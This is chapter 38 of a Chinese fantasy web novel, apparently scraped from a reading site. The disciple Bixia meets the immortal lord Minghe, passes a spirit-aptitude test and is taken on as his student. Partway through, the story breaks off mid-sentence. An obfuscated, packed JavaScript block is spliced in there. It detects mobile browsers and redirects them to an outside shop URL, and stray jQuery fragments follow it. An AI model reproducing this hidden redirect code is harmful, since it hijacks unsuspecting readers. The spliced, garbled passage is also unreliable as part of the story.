38. 第 38 章

作品:《仙君妻

    李炆道一捧灵火,将散乱的猫毛席卷吞噬干净,对着碧霞安慰了两句,“那猫太老了,脾气也不好,你以后尽量绕着它走。”


    碧霞点点头,谨记在心。


    “过来吧,仙尊在书房等着见你了。”


    李炆道领着她进屋,穿过外厅和一条


    碧霞已经紧张得仿佛脑袋都缩小了一圈,只觉得自己步入了一方逼仄的幻境,屋内的摆设陈列来不及一一分辨,便融成模糊的影子从身旁划过。


    手背上的伤口明明不深,却比想象中还要痛,热辣辣的。她抬起手臂,偷偷朝伤口吹了两口气,然后将衣袖往下拉了拉,尽量遮住那条红痕。


    那只猫既然曾是素月养的,她难免想问更多,说不定能让她想起什么。


    素月喜欢猫吗,但在那本手记里,碧霞似乎没看到什么和猫有关的字眼。


    或者猫其实是她来到仙门后才养的,素月在仙门感到寂寞,所以回头去凡界找了一只普普通通的猫来养。在一众艳丽多姿,飞天入海的灵兽中,在一众风姿清绝,素手摘星的修士之间,她和猫都是那么普普通通,同病相怜,倒也不寂寞。


    稍微走了会儿神,碧霞没注意到自己跟着女人进了另一间屋子,李炆道从她身前走开时,她还在慢吞吞地抬头,下一瞬,赫然与一双幽然冷目对上。


    她怔愣半晌,猛地往后退了半步,还是没忍住膝盖一松,身姿踉跄,差点行一个大礼。


    “仙尊,人已带到,有什么想了解的您尽管盘问吧。”


    李炆道的语调近乎爽朗,仿佛面对的不是一个高高在上的仙尊,而是一个,这让碧霞稍稍放松下来。


    男人坐在桌后,换了身银锻衣袍,原先用簪随意固定的银发又散在脑后,冰雪之姿,清逸出尘。依稀还可见额前几根被水汽洇得微湿的发结。


    碧霞不敢看实,匆忙撇下眼。心中却大胆地觉得他这副样子不如原先那样鲜活。


    “既是家传,可有家学?”男人的声音传过来,隔着大概两三丈的距离。


    就那阵通报的当儿,李炆道便将她便的谎告知了他,碧霞忽略小腹和手背上传来的疼痛,尽量平稳地答:“回仙尊,确实有几套家母独创的术法,不过都是些小伎俩,拿不上台面。但封魔术与五行道法,以及太寰道祖的天猿斗虚掌,在下都是学过了的……也会几套剑法。”


    五行道法,金木水火土,一门九式,共四十五种变招,是术修必须融会贯通的基础法门,此后的万千术法皆是在此基础上演化而来,万变不离其宗。


    而天猿斗虚掌则是三千年前太寰仙尊所留下的一套至高武学,术掌结合,运气磅礴,威力显赫,讲究回归原始本真,勘破虚妄幻念,可谓至纯至阳的“正道”。


    十个术修里,便有三人潜心钻研此套掌术,单是修成天猿斗虚掌,便可在修真界脱颖而出,胜过千人了。


    除了娲皇灵功,斗虚掌也是碧霞最成体系的一套武学。


    明河大概是略微满意了,对一旁的女修说道:“炆道,先带她去测资质吧。”


    “是。”


    碧霞很快又被带回前院,李炆道推开右边回廊下的一扇厢房门,屋内是好几架的多宝阁,摆满了各类阵盘法器。


    她从墙上取下来一柄拂尘,轻轻一挥,拘在外面的阵法打开了,同时一块测灵盘从面前的架子上自动飞弹出来,被她用拂尘卷住。


    李炆道将那块不过巴掌大小的圆盘递过来,冰冰凉凉的石头打磨光滑,中间嵌着一颗紫晶珠,以一种命令的口吻,她对她说道:“手摊开,将灵气灌注到盘上,直到中心的紫色圆珠布满裂纹为止。”


    测资质的方法千万种,有借用法器,也可直接将真气探入体内,碧霞不认识面前这东西,抬起的手微微颤抖,怕它将自己照得无所遁形。


    但她扭捏不了,触及到瞬间,体内的灵气便仿佛被这东西牵引一般,如一股流水,就这么顺其自然地淌了出来,似乎还先于她的意识。


    她下意识握紧了手指,试图找回掌控感。


    “放轻松一些,没什么好紧张的。”李炆道在一旁笑了笑。


    这名女修,总是时而严肃紧绷,时而松弛狂放,让碧霞有些捉摸不透。


    屋内灵光耀目,半刻后,紫珠迸出一道与周围蓝金色灵光截然不同的紫光,李炆道的声音方响起,“好了,停。”


    碧霞将力量收回,没来得及看清什么,女人的拂尘便扬下来,将灵盘卷进自己手中。


    她一言不发地盯着中间那颗紫珠,眼睛中有些审视的光芒,碧霞捏了把汗,只注意到那颗原本剔透的珠子上布满细密如网的白色裂纹。


    “师姐……可以吗?”她试探地问道。


    她对着她笑,有股莫测的温柔:“我们拿给仙尊看看吧。”


    李炆道将那颗紫珠轻轻放在男人面前。


    屋内不知道什么时候下了窗,半明半暗,同时多了股原先没有的、阴凉的花香味,甜丝丝地弥漫在空气中。


    “仙尊,青霄体内的灵脉强健丰韧,丹田根基深广,是个好苗子。”李炆道退至一旁,请示着:“要将她纳入门下吗?”


    那颗已经裂得泛白的珠子被明河拿起了,在他修长漂亮的指尖辗转,有些随性的姿态,像在拈赏一朵花。偶有星芒似的光从裂痕间闪烁出来,是残留在珠内的灵气。


    碧霞一头雾水,只觉得自己的心神与性命仿佛都系于一颗小珠,被悬而未决地把玩着。


    没事,她的娲皇功体已经被封印在体内深处,刚刚应该也没有将娲皇之气泄露出去,没事的。她默默安慰自己。


    屋内一时阒寂无声,难熬的当口,大概是为了让脑子喘口气,碧霞思绪飘忽遁走了,想起那个在热气氤氲中,皮肤依旧苍白的女人。


    她现在躺在哪里,被从水中抱出来,擦干身子后,被放置在哪一方的黑暗中。


    真希望能亲眼一见,看看她是不是和竹楼里画像上的女人长得一模一样,或者至少和祠堂里的女像有三分相似。


    “青霄?”啪嗒,像泥沙落在纸上的声音,碧霞回过神,紫珠化成了齑粉往下掉,不知是不是男人捏碎的,但他终于开口,“你抗魔有功,还曾搭救过本尊,以后便留在本尊身边吧。”


    话音一落,碧霞后背紧绷的肌肉霎时舒展了。


    她鼓起勇气将目光上移,和明河对视一眼后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333541|192644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逼着自己挤出一个欣喜若狂的笑容,或许稍显恶心,但接着她便扑通一声跪在了地上,将脑袋埋下来,“搭救不敢当,仙尊吉人天相,福泽与天道相系,是天道庇佑。”


    “别光说漂亮话,还不快拜谢仙尊。”李炆道提醒她。


    “啊,是!”碧霞于是硬着头皮继续演,甚至试探,“弟子拜谢仙尊……只是弟子并无特殊的功体,仙尊不弃嫌,令人受宠若惊。”


    男人靠在椅背上,唇边似有点点笑意,“修士都希望自己身赋异禀,只是本尊不爱收这样的弟子,教起来麻烦,你是正好的。”


    你是正好的。


    碧霞新奇地扑闪了两下眼睫,上涌的血液莫名因他这句话凝滞住了,春风化雨的,有种别样的温柔,像一片羽毛轻落心间。


    她从手背上抬起眼,一点点地瞧他。


    你是正好的,意思是你是我所选择的。她对他心怀不轨,这句话就这么让她生出遐思绮念。


    碧霞觉得自己没救了,她好喜欢他。像喜欢一只白色的长毛猫,想直接靠过去,把他的脑袋抱进怀里揉。


    “炆道,将弟子令牌拿给你的小师妹吧。”见她呆呆趴着,还直愣愣地盯着自己,男人微微蹙眉,接着想起自己已是别人的师尊,便包容地笑了,“别趴着了,从地上起来。”


    “好。”碧霞像泥水和成的偶人,得了他的指令,从地上滑立起来。


    李炆道从身后的架子上取出来一只银匣,打开来,里面是十几副雕刻着碧海团鹤纹的玉腰牌,她将其中一枚交给碧霞,“仙尊的弟子牌可以供你出入宗门大部分场所,以后你要谨记自己的身份,一言一行不止代表仙尊,也比其他弟子更能代表嘉应宗,不可卑言怯形,更不可仗势欺人。”


    玉牌触手温润,连同李师姐的手指,郑重地往她掌心按。


    那一刻,碧霞几乎忘了自己的真实目的,一种荣耀与自豪感席卷全身,使她战栗,而她自己也即将为了宗门的荣耀去付诸行动。


    “好了,你先出去吧,我和仙尊还有事商量,在外面稍等。”李炆道拍拍她的肩。


    碧霞点点头,跨出了澹秋居的门槛,甚至还有些恋恋不舍,站在门外朝门缝里回望。


    院中的海棠树摇曳着花影,绮丽多姿,如一道虚幻的梦境。


    刚刚发生的事,也完全地像一场梦。死去又重生,同样是梦。唯一跳脱出梦境的方法,是找到这一切的前因后果。


    碧霞热起来的心绪渐渐平复了。


    成为仙尊弟子,是一份莫大的殊荣,一定会在弟子之间掀起议论,到时势必会有人谈及她的身份,在引起明河怀疑前,她必须抓紧时间有所收获。


    这时,门内的草丛里露出了一双眼睛,锐利仇恨似的目光在细草藤蔓之间闪烁,是那只老猫。瞪着碧霞时像一只野兽。


    “嘶。”她浅浅倒吸一口凉气,低下眼,手背上的伤口比先前又红肿了不少。


    正打算从储物戒里拿药敷一敷,李炆道便从门后出来了,她将院门关上,对碧霞交代:“晚上你就收拾东西搬进上面的阁楼里吧,待会儿我叫人将里面打扫一遍。”


    碧霞没意见,“好的,师姐。”